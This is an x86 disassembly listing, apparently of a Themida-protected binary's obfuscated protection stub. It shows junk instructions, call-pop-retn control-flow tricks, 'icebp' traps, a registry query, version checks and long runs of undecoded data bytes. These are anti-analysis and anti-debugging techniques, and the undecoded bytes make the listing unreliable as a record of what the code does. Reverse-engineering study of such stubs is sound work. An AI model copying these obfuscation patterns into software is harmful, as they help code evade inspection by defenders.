push eax
push ebx
mov eax, 0
lea ebx, [ebp+614AA43h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC447: ; CODE XREF: Themida_:005AC434j
mov edi, 595965Ch
mov [ebp+6122C59h], edi
mov eax, eax
mov [ebp+6122635h], ecx
mov eax, eax
mov edi, [ebp+6122D61h]
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AC474
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC487
loc_5AC474: ; CODE XREF: Themida_:005AC469j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+614AA76h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC487: ; CODE XREF: Themida_:005AC472j
mov [ebp+61229CDh], ecx
push 0
push eax
call sub_5AC498
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC498 proc near ; CODE XREF: Themida_:005AC490p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5AC498 endp
; ---------------------------------------------------------------------------
xchg eax, ebx
sbb eax, [ebp+9]
mov ebp, 6122465h
mov eax, eax
movzx edx, ax
mov di, cx
mov eax, eax
pusha
stc
jmp loc_5AC4CD
; ---------------------------------------------------------------------------
dw 0D678h
dd 65A8E040h, 392856D1h
db 78h
; ---------------------------------------------------------------------------
loc_5AC4CD: ; CODE XREF: Themida_:005AC4BDj
popa
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AC4E0
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC4F9
loc_5AC4E0: ; CODE XREF: Themida_:005AC4D5j
push eax
push ebx
mov eax, eax
mov eax, 7D0h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614AD09h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC4F9: ; CODE XREF: Themida_:005AC4DEj
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC519
push eax
push ebx
mov eax, 7D0h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614A9F8h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC519: ; CODE XREF: Themida_:005AC500j
push 0
push esi
call sub_5AC524
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC524 proc near ; CODE XREF: Themida_:005AC51Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5AC524 endp
; ---------------------------------------------------------------------------
icebp
mov esi, 0F2494C20h
aam 0BEh
sub [ebp+6121385h], esi
mov eax, eax
push 0
push ecx
call sub_5AC54F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC54F proc near ; CODE XREF: Themida_:005AC547p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5AC54F endp
; ---------------------------------------------------------------------------
db 0CEh
dd 81958BF0h, 0C6061223h, 1215C185h, 68F55306h, 99395F90h
dd 27D18529h, 0B5FF0612h, 61217F1h, 3B48858Dh, 14E90612h
dd 0A5000000h, 41C3D0F7h, 59BC8DBCh, 997174A8h, 784EBC2Ch
dd 664AC0FEh, 7D2ED181h, 89F9D0FFh, 12278185h, 7FDA8106h
dd 0C64AF650h, 1215C185h, 6A5706h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 78FB3FC3h, 0F1B589E5h
dd 89061215h, 121E1DB5h, 52066806h, 830F9004h, 6, 2C518D03h
dd 0B5FF0612h, 61217F1h, 3B48858Dh, 0BE80612h, 38000000h
dd 0EEF56EEFh, 0F12AA9D1h, 9D89BFA1h, 6121681h, 89D0FF5Ah
dd 1230B5B5h, 75858906h, 6A061214h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1FCAC351h
dd 4E51AFB0h, 0C6F5EB7Bh, 1215C185h, 6A4306h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 1F5C18C3h
dd 0D5BD09D2h, 68061225h, 0BC907028h, 178D958Bh, 0BF0F0612h
dd 0F1B5FFCEh, 81061217h, 8E33BAD9h, 48858D4Dh, 0F06123Bh
dd 58Ah, 675B900h, 9D892491h, 6121805h, 0F60D0FFh, 685h
dd 870F00h, 29000000h, 1219058Dh, 85896106h, 6122931h
dd 2E7D8D8Bh, 0FE8B0612h, 15C185C6h, 524C0612h, 32819D31h
dd 68590612h, 0D9DA1CE9h, 17F1B5FFh, 0BF660612h, 858D0BFDh
dd 6123B48h, 14A9B529h, 0D0FF0612h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 1EC35747h, 289D8589h, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 34FF54C3h, 0B2C715D7h, 0C6F98B0Ah, 1215C185h, 958B4606h
dd 6122A7Dh, 0DE061468h, 0F1B5FFBAh, 8B061217h, 1223D995h
dd 48858D06h, 906123Bh, 1213E9B5h, 66D0FF06h, 895204BAh
dd 12347185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 137EFBF5h, 680CE233h, 15C185C6h
dd 6A470612h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 7A9AC352h, 9E940C5h, 0D5000000h
dd 12CFA0h, 5DB22064h, 0FB5E268h, 0EDBD898Ah, 8906122Bh
dd 12149D9Dh, 0F1B5FF06h, 0B061217h, 1202FD95h, 48858D06h
dd 6006123Bh, 5B7EB351h, 2A358D89h, 0FF610612h, 52006AD0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0A106BB24h, 858975C6h, 6122A6Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0D8C35343h, 0C6F80B57h, 1215C185h
dd 850F4706h, 6, 25E9BD89h, 0F3680612h, 8B83D0B5h, 0F1B5FFC8h
dd 60061217h, 0AE9h, 0EA26CE00h, 2FE9958Eh, 618F2143h
dd 3B48858Dh, 8D0B0612h, 61224C5h, 9589D0FFh, 6122D29h
dd 144D8589h, 8D8B0612h, 61202FDh, 15C185C6h, 66770612h
dd 68EF9EB9h, 0F397A8A3h, 32659D89h, 0B5FF0612h, 612335Dh
dd 0BD01F98Bh, 6122389h, 3B48858Dh, 870F0612h, 6, 0F158D03h
dd 958B0612h, 612340Dh, 0DA81D0FFh, 2E0AA33Dh, 13218589h
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0DB5248C3h, 59FA8B56h, 85C6FB8Bh, 61215C1h
dd 818D8B47h, 6806121Fh, 8728FAF6h, 0E72785BAh, 87BF6654h
dd 0F1B5FF13h, 89061217h, 1211E195h, 48858D06h, 8B06123Bh
dd 122E9595h, 80D0FF06h, 858984F5h, 61233ADh, 85C6CE8Bh
dd 61215C1h, 418D3143h, 6806120Bh, 0BC8E6EFCh, 137D9529h
dd 0B5FF0612h, 61217F1h, 8DC8BF0Fh, 123B4885h, 0BD9D8906h
dd 0FF061229h, 12E8D0h, 0FA750000h, 6104DCE5h, 0AA9417F3h
dd 0CBE14A8Dh, 78FB3F67h, 2458BA66h, 41858959h, 6A061204h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 9BAC352h, 0BE6F1F0Fh, 0C6F55696h, 1215C185h
dd 0C1814506h, 904019Dh, 72696968h, 2185898Eh, 0FF061229h
dd 1217F1B5h, 48858D06h, 8906123Bh, 12249595h, 66D0FF06h
dd 89F8D38Bh, 122E3D85h, 38D18006h, 0A5BD8960h, 8B061220h
dd 12162195h, 85C66106h, 61215C1h, 8BF38A44h, 12079195h
dd 0EC646806h, 958BB8F2h, 6120839h, 17F1B5FFh, 1B20612h
dd 3B48858Dh, 850F0612h, 6, 26C5958Bh, 0D0FF0612h, 858909B2h
dd 612165Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 3CC35040h, 9E51DF6Bh, 0D7F7AD4h, 2830Fh, 2BB50000h
dd 15C185C6h, 8A430612h, 398D8BEAh, 68061222h, 0C0764AA7h
dd 0B8C5C281h, 0B5FF381Ah, 61217F1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0D8C35141h, 8589740Fh, 61231C1h
dd 8E9h, 7F00B300h, 78BD0773h, 48858DC7h, 6606123Bh, 0FFF2A7B9h
dd 0CD958BD0h, 0F8061207h, 1BB18589h, 89600612h, 12324985h
dd 29BD8B06h, 61061217h, 2CFBD80h, 0F000615h, 10684h, 0FB8B6600h
dd 2B1858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 5E57F5C3h, 0E96D97EBh, 0FFEF0D7h
dd 383h, 0F9B70F00h, 171D958Bh, 0F500612h, 981h, 3850F00h
dd 66000000h, 8B66FA8Bh, 66016AFBh, 0AC42E181h, 6AF8006Ah
dd 15BD8B00h, 0FF061233h, 12293195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 958B8943h
dd 612266Dh, 33218589h, 0BD310612h, 61220D5h, 0E950FF6Ah
dd 0Bh, 4EEEE8BBh, 8553517Ah, 5F6A05A6h, 3321B5FFh, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0E8C891C3h, 95FFFE8Bh, 6121475h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0A0C35545h, 0DE9h, 7663E200h
dd 0B158E376h, 7877B49Eh, 8BF800A1h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1720AF19h
dd 83C09A3Bh, 122F01BDh, 9750006h, 2149BD83h, 74000612h
dd 8B535019h, 7D1B8C0h, 85890000h, 6120B35h, 0AD099D8Dh
dd 0D3FF0614h, 0BD83585Bh, 6122149h, 50177400h, 7D1B853h
dd 85890000h, 6120B35h, 0A9F89D8Dh, 0D3FF0614h, 0BD29585Bh
dd 6120B1Dh, 0FC08BF9h, 85C6D6B7h, 61215C1h, 0CFBF0F47h
dd 0C8F7C168h, 0EE8A6093h, 0F1B5FF61h, 8D061217h, 123B4885h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 897E062Eh, 122FA5B5h, 66D0FF06h, 50CEA0BFh
dd 1FA18D89h, 858D0612h, 61506F2h, 0C7D18B66h, 9400h, 0E98D2900h
dd 0B6061226h, 0BF6658C1h, 0B58DBECEh, 61506F2h, 6A56D78Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0E380C350h, 5AEE8082h, 858DD0FFh, 61506F2h
dd 47883FCh, 35850F06h, 89000000h, 1217D5BDh, 8685C706h
dd 1061507h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 1A65C355h, 952B909Bh
dd 612150Dh, 25B9BD83h, 0F000612h, 2D85h, 86BD8300h, 61507h
dd 20850Fh, 8D8B0000h, 6122A55h, 301DBD83h, 0F000612h
dd 0D84h, 85C7F800h, 612216Dh, 0
; ---------------------------------------------------------------------------
mov ecx, edx
mov bx, ds
mov cl, 16h
test bl, 4
jz loc_5AD2B3
push 0
push edx
call sub_5ACD9F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ACD9F proc near ; CODE XREF: Themida_:005ACD97p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5ACD9F endp
; ---------------------------------------------------------------------------
db 0D3h
dd 0E985C7DCh, 6120Eh, 89000000h, 122879B5h, 0DCBD8006h
dd 61502h, 2850Fh, 0F88B0000h, 15C185C6h, 81470612h, 46F77DDAh
dd 68D18B10h, 0E3E45B86h, 5870Fh, 81660000h, 0FF303ACAh
dd 1217F1B5h, 0CEB70F06h, 1D15BD8Bh, 858D0612h, 6123B48h
dd 5E57C981h, 8D8B3694h, 61202E1h, 0BF0FD0FFh, 10468CBh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 9D8950C3h, 6122769h, 0F5D9D8Dh, 6A0612h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0FD7A62C3h, 40145F26h, 0D68B123Eh, 0AE860h, 48180000h
dd 0BCA309E6h, 6052F717h, 84DB8166h, 0BD31593Bh, 61229CDh
dd 850F5361h, 3, 8BD2B70Fh, 121D158Dh, 60D0FF06h, 143D8501h
dd 0F610612h, 178Dh, 12E900h, 82AE0000h, 5DBB311Eh, 0DDB787FFh
dd 4618F3D4h, 480CC2DFh, 0F5D858Dh, 0BD230612h, 6121F55h
dd 8E858D50h, 8B061502h, 122E3195h, 8A0F5006h, 6, 1EDD8D33h
dd 858D0612h, 614F961h, 2465BD8Bh, 0BF0F0612h, 0BD8B50CAh
dd 6122E69h, 132195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0AF185C3h, 6E9h, 0FE52BD00h
dd 895D50FAh, 1233E19Dh, 0CC48306h, 14E8h, 66478700h, 3EDA0068h
dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 0CED98197h, 5F62D2D6h
dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 614F961h
dd 4195FF50h, 89061204h, 15027185h, 0C185C606h, 47061215h
dd 0B15E8768h, 0F1B5FFC7h, 8D061217h, 123B4885h, 6AD0FF06h
dd 71B5FF00h, 0FF061502h, 7DBD31D0h, 29061219h, 122DB58Dh
dd 37D03D06h, 830F0000h, 4Bh, 0AE9h, 11345100h, 0A21E157Ch
dd 0FFCAFEA2h, 150271B5h, 81950306h, 0F061225h, 28Ch, 0FFA3B600h
dd 121BB195h, 68B0F06h, 89000000h, 122DDD8Dh, 84E906h
dd 6E90000h, 14000000h, 0D56E0F52h, 85858972h, 0FF061208h
dd 150271B5h, 0FFD18B06h, 121BB195h, 0A9B58906h, 6A06122Ah
dd 69B52900h, 89061200h, 120F31BDh, 89006A06h, 1207D58Dh
dd 0F006A06h, 8B66D7BFh, 81006ACBh, 0A57A68E7h, 8B006A72h
dd 1218AD95h, 8B006A06h, 75858DC8h, 8B061502h, 820F50D0h
dd 6, 1CE99D89h, 95890612h, 6121725h, 44195FFh, 8B660612h
dd 0FFF883CAh, 14E850Fh, 858D0000h, 614BD74h, 0D0FFC88Bh
dd 12499589h, 6A0612h, 792EF281h, 6A04A2h, 32919D89h, 6A0612h
dd 6A3BD280h, 0C99D8900h, 6A061211h, 5AFC5200h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 12E976C3h, 3F000000h, 0FB3CA8D1h, 391C5A47h, 26119E84h
dd 4EEEE8BBh, 75858D7Ah, 0F061502h, 1881h, 10E800h, 5E3B0000h
dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 6160CAFBh, 0BF0F5059h
dd 4195FFD3h, 0E8061204h, 11h, 979DFBC2h, 0CE52EDDFh, 0A59968E5h
dd 625DE451h, 89B531F7h, 5A061200h, 8618589h, 0F8830612h
dd 8D850FFFh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0ED34C351h, 0AE4AB809h
dd 9E8h, 0B0739A00h, 2E049393h, 0BD2B6E24h, 6121A09h, 0FE8B665Ah
dd 0FC7DB58Dh, 8D8B0614h, 61214A5h, 0A6D0858Dh, 830F0614h
dd 1, 8BD0FFF8h, 121BC195h, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0BC8EC357h
dd 0D13CDED0h, 0F5D981EFh, 2B5BD8Bh, 95FF0612h, 6122E3Dh
dd 2718589h, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 9D89ADC3h, 612132Dh, 8B66006Ah
dd 0D58D8BD7h, 8D061226h, 15026985h, 50CA8B06h, 33B5958Bh
dd 46A0612h, 0CE9h, 9BF12400h, 9DAB8301h, 0F4534AC7h, 0C1858D8Dh
dd 8B061212h, 121F9DBDh, 79BD8B06h, 50061208h, 3B5BBF66h
dd 0D38A006Ah, 8C0F006Ah, 6, 3265BD09h, 16A0612h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D6C35343h, 8BB43DDDh
dd 8DBD8BF8h, 0FF061223h, 150271B5h, 0F9B58906h, 0FF061221h
dd 12165D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0E9CD8D7Fh, 0Eh, 4AAC1E37h, 0C6AAFF8Ah
dd 1D7E5D08h, 0F9E9FE6Bh, 5200001Ah, 149D8D2Bh
; ---------------------------------------------------------------------------
adc al, [esi]
pop edi
loc_5AD2B3: ; CODE XREF: Themida_:005ACD8Ej
mov eax, eax
mov edi, ebx
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AD2C9
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AD2E2
loc_5AD2C9: ; CODE XREF: Themida_:005AD2BEj
push eax
push ebx
mov eax, eax
mov eax, 7D2h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614AD09h]
call ebx ; _iob
pop ebx
pop eax
loc_5AD2E2: ; CODE XREF: Themida_:005AD2C7j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AD302
push eax
push ebx
mov eax, 7D2h
mov [ebp+6120B35h], eax
lea ebx, [ebp+614A9F8h]
call ebx ; _iob
pop ebx
pop eax
loc_5AD302: ; CODE XREF: Themida_:005AD2E9j
push 0
push edx
call sub_5AD30D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD30D proc near ; CODE XREF: Themida_:005AD305p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5AD30D endp
; ---------------------------------------------------------------------------
sub ah, ch
pusha
mov [ebp+6122465h], ebx
popa
push 0
push ecx
call sub_5AD332
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD332 proc near ; CODE XREF: Themida_:005AD32Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5AD332 endp
; ---------------------------------------------------------------------------
or eax, 9D89C08Bh
add [edi], edx
adc al, [esi]
mov dword ptr [ebp+6120EE9h], 1
push 0
push esi
call sub_5AD360
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD360 proc near ; CODE XREF: Themida_:005AD358p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5AD360 endp
; ---------------------------------------------------------------------------
icebp
sahf
and dl, 0BDh
push 0CEE4E7B8h
push dword ptr [ebp+6122FD1h]
lea eax, [ebp+6123B48h]
call eax
mov [ebp+6120B75h], eax
lea eax, [ebp+61504CDh]
push eax
lea eax, [ebp+615078Ah]
push eax
push 80000001h
call dword ptr [ebp+6120B75h]
or eax, eax
jnz short loc_5AD3B5
mov dword ptr [ebp+6122DB1h], 1
loc_5AD3B5: ; CODE XREF: Themida_:005AD3A9j
push 0C005DBD4h
push dword ptr [ebp+6122FD1h]
lea eax, [ebp+6123B48h]
call eax
mov [ebp+6121469h], eax
lea eax, [ebp+614F71Ah]
push eax
push dword ptr [ebp+61217F1h]
call dword ptr [ebp+6122A6Dh]
or eax, eax
jz short loc_5AD3F0
mov ebx, eax
lea eax, [ebp+61506CDh]
push eax
call ebx ; _iob
loc_5AD3F0: ; CODE XREF: Themida_:005AD3E3j
lea eax, [ebp+61506CDh]
cmp word ptr [eax], 9
jnz short loc_5AD406
mov dword ptr [ebp+6121DC5h], 1
loc_5AD406: ; CODE XREF: Themida_:005AD3FAj
call dword ptr [ebp+61233ADh]
and eax, 0FFh
cmp eax, 5
jnb short loc_5AD420
mov dword ptr [ebp+6121FC9h], 1
loc_5AD420: ; CODE XREF: Themida_:005AD414j
sub [ebp+6121FB9h], ebx
and edx, [ebp+6120021h]
cmp byte ptr [ebp+61502DCh], 0
jz loc_5AD45D
push esi
cld
pop edi
cmp dword ptr [ebp+6150786h], 0
jz loc_5AD465
call near ptr loc_5AD456+4
test ch, ah
mov bl, 0DBh
jnb short near ptr loc_5AD474+3
cmp dl, ah
loc_5AD456: ; CODE XREF: Themida_:005AD449p
adc esi, [edi-8758987h]
pop edi
loc_5AD45D: ; CODE XREF: Themida_:005AD433j
jmp loc_5AEDA4
; ---------------------------------------------------------------------------
movsx edx, cx
loc_5AD465: ; CODE XREF: Themida_:005AD443j
cmp dword ptr [ebp+6121DC5h], 0
jnz loc_5AD56F
mov ch, dl
loc_5AD474: ; CODE XREF: Themida_:005AD452j
or edx, [ebp+6122C45h]
lea eax, [ebp+61502A6h]
push 0
push ebp
call sub_5AD48B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD48B proc near ; CODE XREF: Themida_:005AD483p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5AD48B endp
; ---------------------------------------------------------------------------
db 88h
; ---------------------------------------------------------------------------
shl dword ptr [edx+ebp*2-3AF9E87Bh], 0C4h
mov ebp, 26D5BD89h
adc al, [esi]
sub dx, 2540h
push eax
and cx, 36FAh
push 1
push 0
push edi
call sub_5AD4C3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD4C3 proc near ; CODE XREF: Themida_:005AD4BBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5AD4C3 endp
; ---------------------------------------------------------------------------
db 5Eh
dd 0F50E2815h, 91666E8Eh, 66006A48h, 6A4EF4BFh, 8D8B6000h
dd 61219A9h, 0B999D29h, 0FF610612h, 12293195h, 3880F06h
dd 80000000h, 8589B7D1h, 61502D0h, 6ADAF680h, 56006AFFh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 952F8B40h, 9E90710h, 0D8000000h, 5A6A33FBh, 0D6FC3BE1h
dd 2D0B5FFh, 0EF810615h, 5C4872A1h, 147595FFh, 6A0612h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0AEA823C3h
db 77h, 0C2h, 34h
; ---------------------------------------------------------------------------
loc_5AD56F: ; CODE XREF: Themida_:005AD46Cj
lea eax, [ebp+614F6E1h]
mov cl, 0AFh
push eax
mov dx, 0AC14h
call dword ptr [ebp+612289Dh]
mov edi, [ebp+61227EDh]
add di, 1A2Ch
mov [ebp+614F76Bh], eax
mov dl, bh
lea eax, [ebp+614F6EEh]
jb loc_5AD5A7
mov [ebp+61211D9h], ecx
loc_5AD5A7: ; CODE XREF: Themida_:005AD59Bj
push eax
mov ch, al
mov [ebp+6121681h], ecx
push dword ptr [ebp+614F76Bh]
mov dl, ah
call dword ptr [ebp+6122A6Dh]
push 0
push ebx
call sub_5AD5C9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD5C9 proc near ; CODE XREF: Themida_:005AD5C1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5AD5C9 endp
; ---------------------------------------------------------------------------
db 4, 68h, 29h
dd 12320D95h, 0A1858906h, 0F806121Ch, 0F75C858Dh, 6E80614h
dd 70000000h, 0E04FDCB6h, 5AF88BA1h, 9D958B50h, 8B061214h
dd 12255D95h, 6BB5FF06h, 0F0614F7h, 681h, 0DD8D8B00h, 0FF061226h
dd 122A6D95h, 0D9853106h, 8906122Bh, 14F77F85h, 558D3106h
dd 8B06122Ah, 1217018Dh, 3B858D06h, 890614F7h, 1208D18Dh
dd 6A5006h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 937BD6C3h, 8B03758Ch, 121C4995h, 29EF8106h
dd 0FF1CB291h, 14F76BB5h, 14E806h, 0AD630000h, 4D044876h
dd 6659225Ch, 0C41A24DAh, 0C1D60BD8h, 8157306Ah, 7ADACCD9h
dd 0FF59596Fh, 122A6D95h, 8974B106h, 14F77785h, 0DE8B6006h
dd 2588B966h, 2E858D61h, 660614F7h, 509CEABAh, 9D89D18Bh
dd 61227C5h, 0F76BB5FFh, 6E90614h, 20000000h, 0D9D6B319h
dd 0FFF78AECh, 122A6D95h, 38BF6606h, 0FBBF0F72h, 0F77B8589h
dd 0F2800614h, 49858D69h, 8B0614F7h, 12E950F9h, 0AA000000h
dd 0B24AC47Ch, 63C294CFh, 795FE196h, 0EBF02A8Eh, 6BB5FF91h
dd 500614F7h, 5AF88B66h, 2A6D95FFh, 0BD890612h, 61213D5h
dd 89CABF0Fh, 12278D85h, 43A9BF06h, 858D2156h, 614F6FDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6C35646h
dd 8F5A803Fh, 91F05017h, 21858912h, 0B206122Ch, 800F5072h
dd 6, 88ED981h, 0B5FF057Eh, 614F76Bh, 2B018D8Bh, 95FF0612h
dd 6122A6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0B6C35141h, 0B2C3AB99h, 9E2150EEh, 0D1BF0F24h
dd 8944D980h, 14F76F85h, 0FFB70F06h, 0F70C858Dh, 0EF810614h
dd 71F89242h, 0F58D2B50h, 0FF061222h, 14F76BB5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 6D95FF44h, 0F06122Ah, 8589FAB7h, 614F773h, 68C9B70Fh
dd 104h, 13E9h, 0CC824400h, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h
dd 59915907h, 0F803858Dh, 8D8B0614h, 6122C79h, 50D2BF0Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FBC35242h
dd 1A89DDCAh, 66C0F6B7h, 3248D781h, 0F907858Dh, 85890614h
dd 612131Dh, 8D8D8950h, 60061221h, 16699D89h, 0C6810612h
dd 68C693h, 4D95FF61h, 0F061214h, 886h, 2850F00h, 60000000h
dd 0FC08561h, 685h, 0BD9D8900h, 80061207h, 1502DCBDh, 850F0006h
dd 27h, 36D8D8Bh, 0F5E90612h, 6A000014h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8376C351h
dd 121DC5BDh, 850F0006h, 18h, 791BD31h, 0BD830612h, 6150786h
dd 43840F00h, 66000000h, 0E0F6F181h, 0F7A0858Dh, 0B5890614h
dd 61207E1h, 14A3E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 504BDB2Bh, 19E9h, 0C9B70F00h
dd 3279BD8Bh, 858D0612h, 614F78Bh, 2880F51h, 60000000h
dd 8B505961h, 1213E195h, 8DCF8B06h, 14F80385h, 6E806h
dd 0BEEC0000h, 3880ED75h, 0B95BD8Bh, 0B95F0612h, 0FB33AF1h
dd 0C9858950h, 8306121Bh, 121DC5BDh, 840F0006h, 2Ah, 16BE6660h
dd 8D8B61FFh, 6122379h, 0F929858Dh, 8C0F0614h, 6, 259D958Bh
dd 13E90612h, 0F9000000h, 2E918509h, 858D0612h, 614F912h
dd 2CD18589h, 0F500612h, 681h, 0FD958B00h, 8D061219h, 14F96185h
dd 0F1BD2906h, 50061210h, 0FFEAE180h, 12132195h, 0D2B70F06h
dd 6610C483h, 0C08BF98Bh, 0DF04EA81h, 0BD832D10h, 6122F01h
dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 7D3B8h
dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h
dd 61221h, 53501774h, 7D3B8h, 35858900h, 8D06120Bh, 14A9F89Dh
dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0E779765Ch, 55BC293Ah, 12E90447h
dd 0C5000000h, 807B6D69h, 65EA7746h, 0BEE6271Bh, 0B780124Fh
dd 79BD8B5Ch, 8B061226h, 810F53C0h, 2, 81595F57h, 14F78BBDh
dd 65726F06h, 0BE840F61h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C7FEC351h
dd 80A1F895h, 0F803858Dh, 8D500614h, 14F94085h, 858D5006h
dd 614F961h, 2195FF50h, 83061213h, 85C60CC4h, 61215C1h
dd 184F6844h, 0B5FF96A3h, 61217F1h, 3B48858Dh, 0D0FF0612h
dd 858DD88Bh, 614F961h, 8DD3FF50h, 14F78B85h, 858D5006h
dd 614F803h, 0C5BD8350h, 6121Dh, 858D0874h, 614F929h, 858D06EBh
dd 614F912h, 61858D50h, 500614F9h, 132195FFh, 0C4830612h
dd 0AE810h, 94A0000h, 71ECC27Fh, 58C7CB81h, 8E8h, 6FCEFC00h
dd 2B6ECD77h, 0FAF181C8h, 5A7D797Ch, 0AD95FF5Fh, 6A061233h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 2565C351h, 0FFh, 0F883CF8Ah, 48830F05h, 0F000000h
dd 185h, 85C7FC00h, 6121FC9h, 1, 8E9h, 0BA25A200h, 4C30E85Dh
